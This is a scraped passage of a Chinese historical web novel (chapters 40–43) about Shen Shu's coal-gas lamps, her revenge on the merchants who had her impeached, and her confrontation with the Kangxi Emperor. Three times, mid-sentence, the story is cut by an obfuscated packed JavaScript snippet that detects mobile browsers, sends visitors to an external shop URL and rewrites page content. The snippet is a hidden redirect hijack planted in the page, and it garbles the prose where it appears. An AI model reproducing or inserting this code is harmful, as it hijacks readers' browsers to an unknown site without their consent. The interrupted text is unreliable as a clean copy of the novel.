而煤气,便是炼焦所得之物之一。 制作肥料也需要设备,所需设备之一,便是这种。” 听明白了,但好像又什么都没听一样。 张廷玉深吸一口气,接着再问:“院中的灯火皆用的是这种霉气?那此物要价几何?” 沈姝却是摇摇头,“不知道啊,民女未曾算过。原本这东西便是制作染料的衍生品,属于废物利用。 染料就已经足够赚钱了,民女也就懒得去算这些煤气的成本。 而且这院子里的灯才有多少? 储存的煤气多到用不完! 民女正打算在京城内开一家灯具店,就用这种煤气做燃料,这样寻常百姓用灯就方便多了。 哦对了,民女的建议是这些炼焦所出的煤气最好不要浪费,因为会污染环境,所以可以用作灯具燃料。 张大人,您意下如何?” “……” 意下如何先不说,什么污染环境? 都听不懂,也不知道该怎么回答。 张廷玉再吸一口气,还是得继续问啊! “那这种霉气灯,沈小姐打算如何定价?” 沈姝就把之前与顺子说过的话又说了一遍,“这个呀,一盏灯的价钱如果不算玻璃罩子的话是一两银子。 外面的灯需要玻璃罩子,价钱贵在了玻璃上,但室内使用无需玻璃罩。 所以民女就打算以一两银子的价钱卖出去,一年之内买此灯的百姓均可免费使用煤气。 一年之后,若是仍想继续使用,那就再交一两银子,煤气用完即可添加,不限次数。” “!!!” 这意思是灯油随便用,可真是大手笔啊! 张廷玉为之震惊,他喜欢挑灯夜读,家里每月所需的灯油钱是多少他大概知道。 如此做生意,这第一年是完全赔钱的啊! 赔的就是这些霉气。 若真是如此,说明这霉气真的不值钱,这满院的灯火也根本算不上奢侈,而是便宜至极! 张廷玉还没说话,八阿哥先是表达了惊讶,“沈小姐,你这么做是在赔钱做买卖。” “所无谓呀!” 沈姝的回答既豪爽又大义凌然,“民女不差这几个钱,主要是不想煤气被浪费,同时也想为百姓提供一些便利。 若是能让更多百姓用上更便宜的灯火,也算得上是积德行善。” 四阿哥闻言看着沈姝满是赞叹,“沈姑娘高义!” 这就是他看中的女子! 不少人都曾言商人重利,薄情寡义、轻狡反复、为富不仁。 可沈姝不是这样的,她卖的东西比其他商贾要便宜,实实在在是惠及了百姓。 沈姝的话,听的张廷玉也想褒赞一番,这话他得学给皇上也听听。 很好,虽然其他的没听懂,但这灯是亲眼所见,而且也听懂了。 “沈小姐,本官明日便会进宫回禀皇上。” 沈姝对此未置可否。 张廷玉说完之后便没有再问其他,需要先回禀之后再根据皇上的指示做下一步打算。 40.第 40 章 参观过十四阿哥庄子的次日,早朝结束后张廷玉便开始在南书房当面禀告。 “皇上,微臣已拜访过沈氏,对于肥料一事,按其所述称因需要极多的原料、设备等,故而建造肥料厂花费颇巨,但具体需要花多少银子暂且还不能定下。 不过沈氏也知道皇上您对肥料的重视,承诺说将先利用所现有的条件来制作出少量的肥料以供试用。 只是乃因肥料的制作手艺极其复杂,所以沈氏无法给出确切的时间,但微臣以为她应该不会辜负皇上的信任。 关于染料一事,微臣听她的话音儿是有感于圣恩,只是她气性太大,对于被商贾血书弹劾之事仍耿耿于怀,坦言称要报复回去之后再说。” “报复?她意欲如何?” 康熙闻言微微挑眉,前面的话还算是顺耳,他很满意。 可这报复是什么意思? 难道要让他直接下令处罚那些御史或商贾? 可她本来就不该打着十四阿哥的名头去经商的,若不是有十四阿哥撑腰,她敢这么做? “这……微臣不知。 沈氏只说是绝不会仗着十四阿哥之势欺人,要光明正大的自行报复那些商贾,其他的不肯多说。” 张廷玉选择了实话实话,前面他已经为沈姝美言了不少。 自从见识过霉气灯之后,他对沈姝能搞出来什么事情有些心里没谱,害怕她真搞些什么大事出来。 康熙哼了一声,没有放在心上,“朕倒要看看她打算如何报复。” 张廷玉连忙说道:“微臣必定会看着,不让她肆意妄为。” 见张廷玉一副欲言又止的模样,康熙说了一句,“还有什么,一并说来。” “微臣确是仍有一事要禀于皇上知晓……” 然后张廷玉细细描绘了自己在十四阿哥庄子上的所见所闻。 “霉气灯?” 对于这晦气的名字,康熙也有点儿皱眉。 “此物当真如你所言,明亮至极且不费灯油?” “当真,同去的四阿哥与八阿哥亦可作证!” 张廷玉的表情很是严肃认真,“此灯明亮乃微臣亲眼所见,不费灯油乃沈氏亲口所言。沈氏还放言道要让更多百姓用上更便宜的灯火……” 接着他又把沈姝的话也转述了一番。 若不是知道张廷玉一向是谨慎务实的性子,康熙简直觉得他是在夸大其词。 这番话有些像地方上贡献祥瑞时的说辞,就是说来让人听着高兴的。 “竟有此奇事?” 康熙来了兴趣,“怎得不拿来让朕也瞧瞧?” “……” 都怪沈姝说了那么一大通奇奇怪怪的东西,搞得他有点儿头晕,结果就疏忽了。 能说是自己完全忘了这茬吗? 当然不能! 张廷玉随即说道:“微臣见此物颇为稀奇,只是却叫什么霉气灯,怕皇上您会觉得不吉利,故而不敢擅自作为。” 这个理由找的不错,康熙没有再责怪他。 “若是好物,改个名字便是,不过你没有问问那沈氏因何为灯具取了这种名字?” “问了,可是……” 张廷玉露出了苦笑,“可是沈氏所说的那些,微臣根本听不明白! 微臣也不知道应该怎么转述,就是些很奇怪的词语,诸如炼焦、下游产业、污染环境等等。 微臣愚钝,这些统统都听不明白,根本就不知道她在说什么。若非亲眼所见霉气灯,微臣还以为她是在胡言乱语。” 这个康熙有经验,当初跟着那些洋人学新鲜玩意的时候也是这种感觉。 “这不怪你,朕估么着类似于那种西洋新玩意,寻常人等确实难以解其意。” 张廷玉连忙说道:“皇上圣明,微臣愚钝。” 康熙笑着吩咐道:“安排一下,朕要去胤祯的庄子上看看那种灯。” 他还是对张廷玉描述的灯很感兴趣,想亲眼去看看。 “微臣遵旨。” 皇上喜欢新鲜玩意,这事得尽快安排。 张廷玉告退之后回到家连忙让仆从去给沈姝传话,让她也好有个准备。 除此之外,还得提前跟十四阿哥这个主人说一声,那毕竟是他的庄子。 另外,还要先派人到庄子上扫除一下可能存在的隐患。 十四阿哥正在家静养,得到消息之后有些惊讶。庄子虽然是他的,但这段时间一直是沈姝在用。 说实话他只是听六子提过一嘴,说是沈姝要在庄子里安装一些名字不太吉利的灯具。 不过这些小事他不会反对,但也没有上心,只是过了一下耳朵。 没想到皇上居然要去看,十四阿哥不便过去,便让人去把六子喊过来问话。 “庄子上的灯到底是怎么回事?” 说实话六子也不知道是怎么回事,他如实陈述了一番。 “那些灯是沈小姐让人定制的,爷您忘了?您不是还让奴才去玻璃厂帮忙定了玻璃灯罩? 这些灯就是刚安置好的,这不一安置好,昨夜四爷、八爷还有张大人忽然就来了庄子上看灯,这事奴才提前也不知情,总之就是他们看了一番就离开了。” 六子是说过玻璃厂的事情,可十四阿哥想问的是为什么四阿哥他们会去看灯,以及那些灯究竟有何不同寻常之处。 而这些六子都没能汇报,不过他应该是不知道四阿哥他们因何要去。 所以十四阿哥问了另外一个问题,“那些灯有什么特别之处?” 这个六子知道,直接把昨夜的情形描绘了一番。 “奴才也是昨夜才第一次见,那些灯呀,简直是亮到耀眼。真的是忒亮,而且听沈小姐说这灯还很便宜。” 十四阿哥接着问道:“昨天八哥他们去了庄子上都说了些什么?” 六子不禁摸了摸脑门,昨天沈姝是说了不少话,可他听不懂也记不住,只知道灯的事情。 “爷,昨天很多话奴才听不懂啊!” “……” 这蠢货! 要不是趴着不方便动弹,十四阿哥想踹六子一脚。 他没好气的说道:“去请八哥过来。” 其实不用来请,八阿哥也是要过来跟十四阿哥说一声的。 昨天沈姝那些话,让他觉得那个所谓的炼焦真的很重要,绝对是生财之道,这个必须要紧紧握在手中。 可这事,十四阿哥居然瞒的那么死,一点儿风声都没有透露出来! 来到十四阿哥府后,八阿哥说道:“十四弟,皇阿玛让张廷玉负责了肥料一事。 昨夜我与四哥便是被他邀请一同去你的庄子上,到了才知道是去看灯。 你说你,庄子上有这种灯具也不跟我提前说一声!” 听得出八阿哥语气中的埋怨之意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977540|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,十四阿哥感觉很是冤枉,“八哥,我也是今日刚才知道,要是不问六子我也不知道!” 八阿哥不太信,六子连忙开始解释,“八爷,您都看过灯了,我们爷连灯都还没来得及看呢! 这灯还是昨天白天才完全安置好的,奴才也不知道您会过来呀!” “……” 好吧,这事是没有提前跟十四阿哥说。那是他认为不重要,打算等看完之后再说。 叹了口气,八阿哥直接问道:“十四弟,沈小姐在你的庄子上做些什么,你到底清不清楚?” “知道啊!” 十四阿哥点点头,“做染料啊,八哥你不是也知道吗?之前凌普那事你也在场啊!” “……” 无语、无语、真无语! 八阿哥都不知道该怎么说,十四阿哥看样子稀里糊涂的。 “那你知不知道什么是炼焦?” “炼焦?那是什么?” 十四阿哥不明所以的看着八阿哥。 八阿哥气得想吵他,“别问我,问你的阿姝去!这是她说的词儿。” “不是啊八哥,你说这话我怎么就听不明白?” 十四阿哥一头雾水,不知道八阿哥在生什么气。 八阿哥没好气的说道:“我也不明白你不明白什么,更不知道你到底明白什么!” 简直是鸡同鸭讲,看十四阿哥这样,就知道他是什么都不知道、不清楚。 真是气人啊! 他守着个宝藏,却是一副什么都不知道的模样。 十四阿哥还很郁闷的,他都不知道自己的庄子上昨夜发生了什么事。 “八哥,张廷玉今天派人来说皇上要去我的庄子上看灯,昨夜到底是怎么了?” “皇阿玛要去看灯?” 听到这个消息,八阿哥有点儿意外。 他看着十四阿哥,而十四阿哥也看着他,两个人大眼瞪小眼的…… 深吸一口气,八阿哥简述了一遍昨夜之事,除了言明是张廷玉因肥料之事的邀请,其他跟六子所说基本一致。 十四阿哥开始无语了,敢情八阿哥也没比六子好到哪里…… “十四弟,沈小姐的事情你得上心啊! 不能她有什么事你都不知道,你平时也不管管她?” 听八阿哥这么说,十四阿哥有些心烦,这让他怎么管? 有些事沈姝确实告诉他了,还能怎样啊? 再说她想做什么,他问那么多做什么? 谁会天天盯着女子平日里都在做些什么事? “八哥,阿姝愿意做什么那是她的事情。就像这些灯,亦或是染料或者肥料,她想做那做了便是。 如果对我们有用更好,没用也无所谓,反正她高兴就好,我又不指望着靠她怎样!” “……” 八阿哥彻底无语了,十四阿哥这是油盐不进。 算了,他就这德性! 不能指望他会怎样,好在他跟沈姝关系亲密。 最终八阿哥只能这样说道:“行了,这事到时候再说。” 而得到张廷玉的口信,沈姝却没有太大的反应,什么也没有准备。灯就在那里,又没长腿不会跑,想看就去看呗! 她现在可没心情关心这个,顺子已经安排妥当,此时已经宣传开来。 沈姝正等着看自己的报复之举究竟能不能达到目的? 41.第 41 章 若说这段时间,京城中风头最盛的店铺是哪个? 十之八九的掌柜们会说是千色布店! 那生意,真是看的人眼热不已,可偏偏学都学不来。 布料不是谁想染,想染就会染的! 染不好可是要赔钱的,卖不出去也要赔钱。 但谁都知道千色布店必定是赚钱的,不少人都羡慕到眼红。 可大家都知道这是十四阿哥的铺子,谁也不敢去没事找事。 对于布料及绸缎行会的那些掌柜们来说,费了那么大劲儿,送了那么多钱,弹劾一事居然失败了! 他们心中已经开始忐忑,还不知道接下来会怎样? 譬如,十四阿哥会不会动手收拾他们? 所以这几天他们都很安分的在观望和等待,看看会怎样。 他们的眼睛时刻关注着千色布店与绸缎铺子,所以当那张红纸张贴出来的时候,他们第一时间就知道了。 “这、这是想要我们的命啊!” 不少掌柜都拿到了闲汉派发的红纸,那上面正写着沈姝的话。 而此时此刻,如同苍蝇一般的闲汉们正在沿街到处乱吆喝,见人问起就发一张红纸! 看着红纸上的字,这些人的脸色都难看到要死。 有不少人气到嘴唇发抖,直想哆嗦,谁能想到还能这么狠? 百年基业毁于一旦,是真的会死人啊! 这么弄下去,他们就全都要死! 原本隔行如隔山,染布也是门手艺活,可现在沈姝那毒妇居然要免费教其他人学染色…… 要知道,现在不仅是他们盯着千色布店,其他商贾也一样,赚钱的生意谁不眼热? 只不过是隔行的人不会染布,只能眼睁睁的看着。 现在可好,若是看到这个,那些蠢蠢欲动的人还不跟见了血腥味儿的蚂蝗一样蜂拥而去吗? 到时候那些人摇身一变就能完全取代他们,而他们这些人,一点儿活路都不会有! 因为那毒妇说了,他们这些人除外,这完全就是针对他们的,这是赤裸裸的报复! “你们倒是说句话啊,难道咱们就这样直接等死啊!这上面是什么意思,我想不用多说了吧?” 良久之后,才有人弱弱的说了一句,“……也许染色没有那么容易学……” “放屁!” 有人重重的拍了拍桌子,厉声道:“咱们之前打探过,那毒妇的染坊染布极快,而且工序简单的很,就是直接按次序放入染料。 别说是人,就是条狗,不出半天都能学会!” “那你说我们怎么办?” 又有人嚷嚷道:“咱们找御史弹劾她,已经是把她彻底得罪死了,难不成还指望她大发善心的放我们一马?” 也有人低声嘟喃着,“还不如当初直接跟她合作……” 眼见大家惊慌失措,六神无主,有人见状一咬牙高喊道:“咱们现在都是一根绳子上的蚂蚱,不仅是咱们,也包括其他各地的同行们。照这么下去,谁都跑不了! 要知道当初大家可都是按了血手印,她能饶过谁?既然如此,那咱就跟她拼了! 现在弹劾是走不通了,那咱们就聚集起来,去她的店铺门口和衙门口抗议!” 话音刚落,就有人不太确定的问了一句,“这有用吗?” 那人怒斥道:“那你给整个有用的法子?” 当然,谁都没有有用的法子。 所以,唯一能做的就是激起民愤。 这可真是生死攸关之事,这些掌柜们迅速联合起来让伙计们去堵了沈姝铺子的门。 他们则是自行去五城兵马司门前去击鼓鸣冤…… 可五城兵马司的指挥根本不敢接这案子! 开什么玩笑? 那是十四阿哥的铺子,还有前几天声势浩大的弹劾一事,他们虽然不在朝堂之上,可全都听说了。 十五道御史都没能弹劾得逞,他们是长了几颗脑袋,敢触这霉头? 五城兵马司只能装作若无其事的视而不见,而沈姝店铺前则是完全乱了起来。 发生冲突的不是她店里的伙计跟那些人堵门之人,而是得到消息想要来学染布的人直接横插一手打起了抱不平。 要知道能来学染布之人,都是要开铺子的,他们都是有钱人,毕竟没钱谁开得起铺子? 同样都是有钱人,他们可不怵那些行会的掌柜们。 明眼人都知道,这么搞下去,行会的店铺全都得完蛋,现在正是落井下石的好机会! 毕竟有人死,才能有人因此而活得更好! 利益相关之下,都无需沈姝振臂高呼,自然就有人开始跟她站在一起。 顺子领着一批报名来学之人喜滋滋的去了染坊,沈姝交代了,要好好的教,全都得给他们教会。 甚至是门前越乱他越高兴,因为吃亏的又不是他们布店,而是那些闹事的人。 前来买布的人都能踢他们几脚,这可真是应了那句话,墙倒众人推啊! “老爷、老爷,那千色布店门口已经乱成一团了!” 一路小跑回去报信的是张廷玉的仆从,这是他派出去沈姝店铺附近观察情况的人。 “怎么会乱呢?” 张廷玉有种不妙的感觉,这人是早上派出去的,现在才下午,这就乱了? “您看看这个,小的也不知道是为什么?就是很突然的,就乱了起来!” 仆从说着从怀里掏出来一张红纸呈了上去。 张廷玉接过来看完之后,顿时脸色大变。 “好一条釜底抽薪的绝户计!” 这要是不乱就怪了,再不乱,那些商贾们就没机会乱了! 太狠了,张廷玉没有想到居然还能这样。 是他想岔了,以为沈姝至多不过多开几家店。 谁能想到她竟然直接要把所有得罪自己的商贾都连根拔起,关键是还真能做到! 这法子,换个人怕是使不出来…… “要出大事了!快、快备轿,老爷要进宫!” 刚说完,张廷玉立马又改口,“不不不,去沈姝府上!” 他真是急晕了,不先去见沈姝就急匆匆的进宫去说什么? 至少得先弄清楚沈姝的想法,看能不能劝住她。 这次是真的很急,急的张廷玉连拜贴都来不及下,直接就过去了。 “张大人,您怎么来了?” 面对张廷玉的突然到访,沈姝有些意外,这是又怎么了? “沈小姐!” 张廷玉看沈姝好像一点儿都不急的样子,简直是有点儿头蒙。 他可是刚跟皇上说过会看着她,不让她惹事。 结果呢? 没看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993017|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住啊,被她搞出来这种乱子来! “你不能这么做啊!” 说着张廷玉拿出来了那张红纸。 看到这张红纸,沈姝明白了,脸色顿时冷了下来,“张大人,您管的是不是有点儿太多了!” 张廷玉急切的说道:“沈小姐,你知不知道这样会逼的那些商贾们闹出事来?” “那又如何?” 沈姝的表情很是冷漠,“衙门里那么多差役,有人闹事难道不应该全都抓起来?” 这话直接把张廷玉给气到了,这是抓起来的事情吗? 京畿重地,要是有这么多人闹事,会出乱子的! “沈小姐,你听我说,你要报仇可以,但这样做太冲动了! 你有没有想过弄跨了那些商贾,依附于他们的长工、短工们没了生计会怎样?” 听张廷玉居然这么说,沈姝的语气中满是讥讽,“张大人,您说这秋天来了,黄叶落尽,树木可怎么办? 难道它们就撒泼打滚,闹死闹活的,春天就不发芽了吗? 这批商贾跨了,不是又有新的站起来了?打工人在哪里不是打工,还非要在一棵树上吊死?” “……” 被怼了一通,张廷玉发现自己无法说服沈姝。 她有她自己的道理,根本不愿意听他说,而且也不考虑那么多,一心只想报仇。 深吸一口气,张廷玉咬着牙说道:“沈小姐,听我一句劝,收手吧! 就当是我求你了!” “不敢当。” 沈姝对此无动于衷,面无表情的问道:“若是在被弹劾之时,民女无力自辩,而是跪在地上哀求那些御史们,他们会怎样?” 是谁都有资格来求得她的宽容大度吗? 真当她是割肉饲鹰的佛祖啊! 轻飘飘的一个“求”字,就想让她高抬贵手? 做梦去吧! 沈姝就不信当日在金銮殿上若是哀求,她就会被人放过。 这个问题张廷玉无法回答,御史们是什么德性他不是不知道。 不行,这也太执拗了,根本就劝不动。 再说如此报复,真被逼到一定程度,那些商贾万一选择鱼死网破。 难保不会做出什么同归于尽的极端举动,这对她并无益处! 当然这话张廷玉没有直说,但他来劝,也是为沈姝着想。 她做事有些顾首不顾尾的莽撞和激烈。 张廷玉无法,只得说道:“那我只能就此进宫面圣。” 然后沈姝随之做了请的手势,“您请便。” 以为抬出来皇上她就怕了? 她还想去探探皇上的底呢! 想从她这里拿好处,真的是一点儿好处费都不愿意给啊? 真是一点儿办法都没有了,张廷玉不得不匆匆的离开,吩咐轿夫脚程要快些。 直到坐进轿子里,他的气都还没有顺过来。 真是太气人了! 可沈姝那些话,也不是一点儿道理都没有的无理取闹。 说来说去,就是因为弹劾之事除了十四阿哥,没有人受到惩罚,所以她才会如此的愤愤不平。 可罚不罚,那是皇上的事情…… 不管了,也管不了,让皇上管去吧! 张廷玉心想,就不信沈姝见了皇上也是如此这般的不依不饶! 42.第 42 章 “皇上,您还记得前几日微臣曾禀告说沈氏要报复商贾一事吗?” 告状也是需要技巧的,张廷玉觉得没能看住沈姝,也没能劝住她不能全是他的错。 那天皇上可是还说要看看她到底会怎么报复,所以现在沈姝惹出来这种乱子,皇上可不能怪他。 康熙闻言瞥了张廷玉一眼,“怎么了,有话直说。” “皇上您看看这个,您边看微臣边说。” 说着张廷玉从袖口中掏出来这张惹出乱子的红纸双手呈递过去。 康熙接过来扫了一眼,有些不明所以,然后就听张廷玉说道:“皇上,此乃出自沈氏之手。 她的意思是广而告之,可以免费教授任何想要做布料或绸缎生意的人如何染色,而那些弹劾过她的商贾们俱都被排斥在外。 如此一来,凭借此举其他人便可迅速替代掉那些被排斥的商贾。 而沈氏的染料低廉至极,那些被排斥的商贾完全没有任何招架之力,他们的生意会直接垮掉。 眼下正是因为这个,京城的商贾们都在做拼死挣扎。若是波及开来,大清国所有的布商、绸缎商们怕是都要乱起来了啊!” “胡闹!” 康熙闻言拍了拍桌子,身为帝王,最不愿看到的就是不稳定。 张廷玉所说不是危言耸听,大清国如此之大,单单是布商、绸缎商都不知几何? 这些人要真是闹腾起来,难免事态不会扩大化,到时候还不知道会出什么更大的乱子! 见皇上生气,张廷玉连忙接着说道:“皇上,微臣进宫之前已经亲自去劝过沈氏,可是她执拗异常,不愿放弃报复。 微臣实在是无法,只得速来禀告皇上,请皇上定夺!” 这事难就难在对待沈姝的态度上,现在还指望着她制作肥料呢,所以他可不敢用强的,当然是要皇上来决定应该怎么办? 康熙倒是没有责怪张廷玉,确实他做不了主。可这事得解决,想到这里他直接说道:“李德全,去把她给朕喊来!” 这个她,自然指的是沈姝。 李德全得令直奔而去,皇上吩咐的是“喊”,不是押,这得用轿子请。 康熙看向张廷玉问道:“她如此这般究竟是想要做什么?” 其实张廷玉倒是有些猜测,觉得沈姝应该是想要皇上处罚那些御史,可这话他身为臣子不能直说。 于是便说道:“微臣劝说之时,她直言不讳说要报复。瞧那意思,似乎是对弹劾一事犹愤而不平。” 康熙听的有些生气,“她愤而不平就要闹事?” 张廷玉想说的是,是啊! 她就是要闹事,关键她还真能闹,这事是一般人能闹出来的吗? 一想到沈姝那些话,张廷玉就直想摇头。 气性如此之大,报复心如此之重的女子,他还是头一次见。 但又觉得皇上也不可能真把她怎么样了,毕竟肥料更重要。 更何况这事,皇上强行要解决,也不是不能解决。 但思及沈姝所说关于灯的事情,念及她的善心,纵使是生气,张廷玉还是得为她美言几句。 “皇上,沈氏毕竟是女子,年纪又不大,自觉受了委屈而不甘,难免桀骜执拗。” 这话听的康熙哼了一声,“若不是惜才,朕哪里能容得了她使小性子!” 那是,张廷玉觉得这话倒是不假。 皇上对沈姝还算是宽和,当然是因为她值得。不过如果她来了之后还是像对自己那般态度,皇上肯定是真的会生气。 可张廷玉没想到,沈姝来了之后,对皇上也没有客气到哪里去! 沈姝被李德全带到南书房后,康熙并没有直接斥责,而是让她起来回话并讲起了道理,“沈氏,你被弹劾,朕亦没有怪罪于你。现在你如此报复,是不是过分了?” 过分? 怎么,犯罪未遂就不用受到惩罚啊! 沈姝垂着眼帘,丝毫不肯让步,直接回道:“皇上您没有怪罪是因为民女能够自辩,如果他们有本事自救,那民女也不能把他们怎么样。 在商言商,虽然他们手段卑鄙,但民女是光明正大的做生意,并没有违背律法。 商场如战场,总不能因为他们技不如人就要民女委曲求全。” 哎,她可真敢说,连皇上给的台阶都不肯就着下。 这话听着很有道理,听完之后,张廷玉眼观鼻鼻观心的在等着看皇上怎么办? 康熙不想讲沈姝所讲的道理,耐着性子说道:“沈氏,得饶人处且饶人,纵使是你占了些理,可也不能太过分。” “这怎么就过分了呢?” 沈姝当然不会轻易放弃,继续道:“他们轰轰烈烈的欺负人,又是血书又是弹劾的。民女虽是一弱女子,但也不能就这样任凭他人如何欺负而不反击。 难道因为他们人多势众,而民女茕茕孑立,所以这道理反倒是在他们那边了?” 这话说的已经算是比较难听了,直接就是指责处置之人是欺软怕硬,欺负弱小。 康熙自然也听出来了话中的指责之意,身为帝王,做了几十年的皇帝,有几个人胆敢如此的当面指责他? 没有人喜欢被顶撞,帝王也不例外。 “沈氏!” 康熙的声音变得严厉,但沈姝终归是女子,而且她确实值得期待,所以他也不愿意直接动怒发脾气。 而是呵斥道:“要知道身为女子,当温婉柔顺,你看看你这样子? 哪里有半点儿女儿家的柔和!” 谁规定女人就一定要温婉柔顺又柔和? 她沈姝就偏偏不是这样的女人! 不过心里虽然是这么想的,但沈姝不敢直接说出来。 她只是想极限拉扯一下,又不想被拖出去打板子或者砍头。 所以低着头,沉默以对。 见状康熙继续说教:“你这性子要是不改改,以后嫁了人,夫家能受得了?” 这话说的,沈姝实在是忍不住了,“若嫁人就是要过去受委屈,那这人,不嫁也罢!” “放肆!” 伴随着这句呵斥,是“啪”的一声,康熙怒而拍桌子的声音。 一旁的张廷玉眼观鼻鼻观心的垂着头,心道:看来皇上也照样被气的不轻。 原来这脾气不仅仅是针对他,就连皇上都未能幸免。 不过她这胆子,实在是太大了…… 之前还觉得她深谙为官之道,现在可好,直接让皇上下不来台,到底是想怎样啊? 拍完桌子之后康熙不吭声,沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006879|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姝只是应声垂首而跪,很是硬气的拒不服软。 一时间,南书房里静的有些瘆人。 跟随皇上多年,李德全知道康熙这时候是在等着沈姝低头认错,可她就这么直愣愣的毫无反应…… 他不得不开口劝说:“沈姑娘,皇上体恤你是女子,被如此冒犯仍在宽容,你就服软给皇上认个错吧!” 沈姝闻言抬头问道:“皇上,仅仅只是因为民女能制作新式染料,便已遭十五道御史弹劾。 若是再折腾出来其他东西,是不是也会因此而被弹劾?” 闹了半天,原来是担心这个? 康熙简直气笑了! “你当朕是昏君不成?” 沈姝的回答很迅速,“民女不敢。皇上圣明。” 算了,已经试过,感觉不太行,为了保命她决定服软。 康熙看着沈姝说道:“你的胆子,实在是大的很,怪不得张廷玉劝不动!” 他的语气已经褪去了之前的严厉,如此大胆的女子,着实少见。 既然她如此的执拗,康熙觉得还是要体恤一二,于是说道:“若是朕一味的让你直接让步放弃,怕是你心中的不甘难消。 这样吧,以一个月为限,朕容你如此这般,算是那些商贾对你的赔罪。” 沈姝听罢只得应道:“民女谢皇上主持公道,皇上圣明。” 她知道,这一个月时间应该可以算作是自己交出染料的期限。 看样子只能恶心那些商贾一个月,真是便宜他们了! 就这还没有算上京城以外的那些,不过时间上已经来不及了。 其实她知道这么做会被阻止,毕竟牵扯到那么多人。 人多确实势众,不是还有那句话叫法不责众吗? 而她毕竟势单力薄…… 对于沈姝,张廷玉心中已经腾起一丝的佩服之意。 就为这一个月,她可真是敢死咬不放,为此不惜尝试顶撞皇上! 很显然她这人赌性不小,这摆明了是在赌皇上会不会真的因此而龙颜大怒。 怪不得不听自己的劝,张廷玉觉得沈姝应该是就想来跟皇上亲自谈条件。 现在条件谈好了,她就不执拗了。 他一直都以为她会以染料或肥料为契机来谈另外一种条件,比如嘉奖。 然而并没有,却是在斤斤计较如何报复。这可真是让他有些想不通,难道她一点儿都不在乎这些身外之物? 看着也不像啊! 沈姝的想法比张廷玉所想要复杂些,她只是想通过此事来确认一下自己的价值,同时树立一个自己不是好惹的印象。 至于所谓的嘉奖,并不是不想要,她还没有大公无私到那种程度,当然在乎嘉奖。 只是这种嘉奖根本就不在于她想不想要或者想要什么,而在于康熙愿不愿意给。 对于沈姝来说,康熙如果厚道,那么她便会多发挥一下自身所学。 如果不厚道,那就不要怪她摆烂来应付了。可以这么说,如果今天一点儿都不支持她的报复,那她就会直接选择消极怠工。 眼下,凑合先干着吧! 不得不说,姝这次算是沈姝赌赢了。 康熙自己就是那种胆大有主见之人,所以也欣赏同种类型的。 43.第 43 章 解决完沈姝的报复之事后,康熙还算是兴致不错,又见看了一眼房间里西洋钟的时间,便直接改了注意。 “准备一下,今晚就去胤祯的庄子上看看。李德全,去喊一下太子和几位阿哥们一起。别喊胤祯了,让他好好在家修养着!” 说完之后康熙又朝张廷玉和沈姝说道:“晚点你们便同朕一起,而后就去看灯。” “谢主隆恩。” 见张廷玉因此而跪谢,沈姝也跟着跪,也喊了一声“谢主隆恩。” 真是事多,谁愿意留在这里吃饭啊? 她心里开始吐槽,一进宫就是跪,好烦! 不多时,先是有数名太监抬着两张桌凳进来摆放,接着是太监们捧着食盒鱼贯而入。 食盒里装的都是糕点,每桌上都是四样不同的点心,还有一碗奶茶,皇上桌上的也一样是这些。 晚点摆好后,康熙便吩咐了一句,“入座吧。” 张廷玉这才行礼坐下,沈姝是有样学样。 坐下后她看着桌上的糕点,怪不得叫晚点不叫晚餐,这全都是点心啊! 这是她不懂御膳的规矩,现在已经是下午六点多,晚餐也就是晚膳,并不在这个时间。 皇上一天的正餐只有两顿,早膳与晚膳。早膳是在早上,可晚膳是在中午,都是极其丰盛的大餐。 当然皇上不可能一天只吃两顿饭,但其他的就不是正餐了,而是加餐。 比如晚点和酒膳,就是加餐。 晚点就是点心加粥,很简单的加餐。 沈姝不习惯这种餐点,不过也没得选,就着粥吃了两块糖分含量不低的点心。 晚点过后,说走就走,太监、御前侍卫浩浩荡荡的开始出宫。 也就是康熙自持弓马娴熟,胆子也够大,才敢夜间出宫。 农历十一月的晚上七点多,外面的天色已经完全黑了,若是不提灯笼,绝对是伸手不见五指。 城内没有打烊的店铺门前挂着红灯笼,但微弱的灯光只能勉强照亮门前三尺。 街道上,没有路灯,昏暗的很。 即便仪仗队中不少随从都提着大灯笼,还有人举着火把,但也只能勉强照亮脚下的路。 沈姝马术不佳,再加上她是女子,故而被安排了坐轿子。 半个时辰后到了十四阿哥的庄子上,自从安装上煤气灯后,这里的灯天一黑就被点亮了。 又不用庄子里的管事出灯油钱,只需要出个人力负责点灯即可。 谁愿意夜里黑黢黢的,所以点灯这事庄子上的人都很积极。 亮眼的煤气灯,隔着大老远的就能被看见。 御撵上的康熙自然也看到了,任何一个自小到大看惯了白蜡及油灯或者火把亮光之人,猛的一见煤气灯,都会发出“好亮”的感慨。 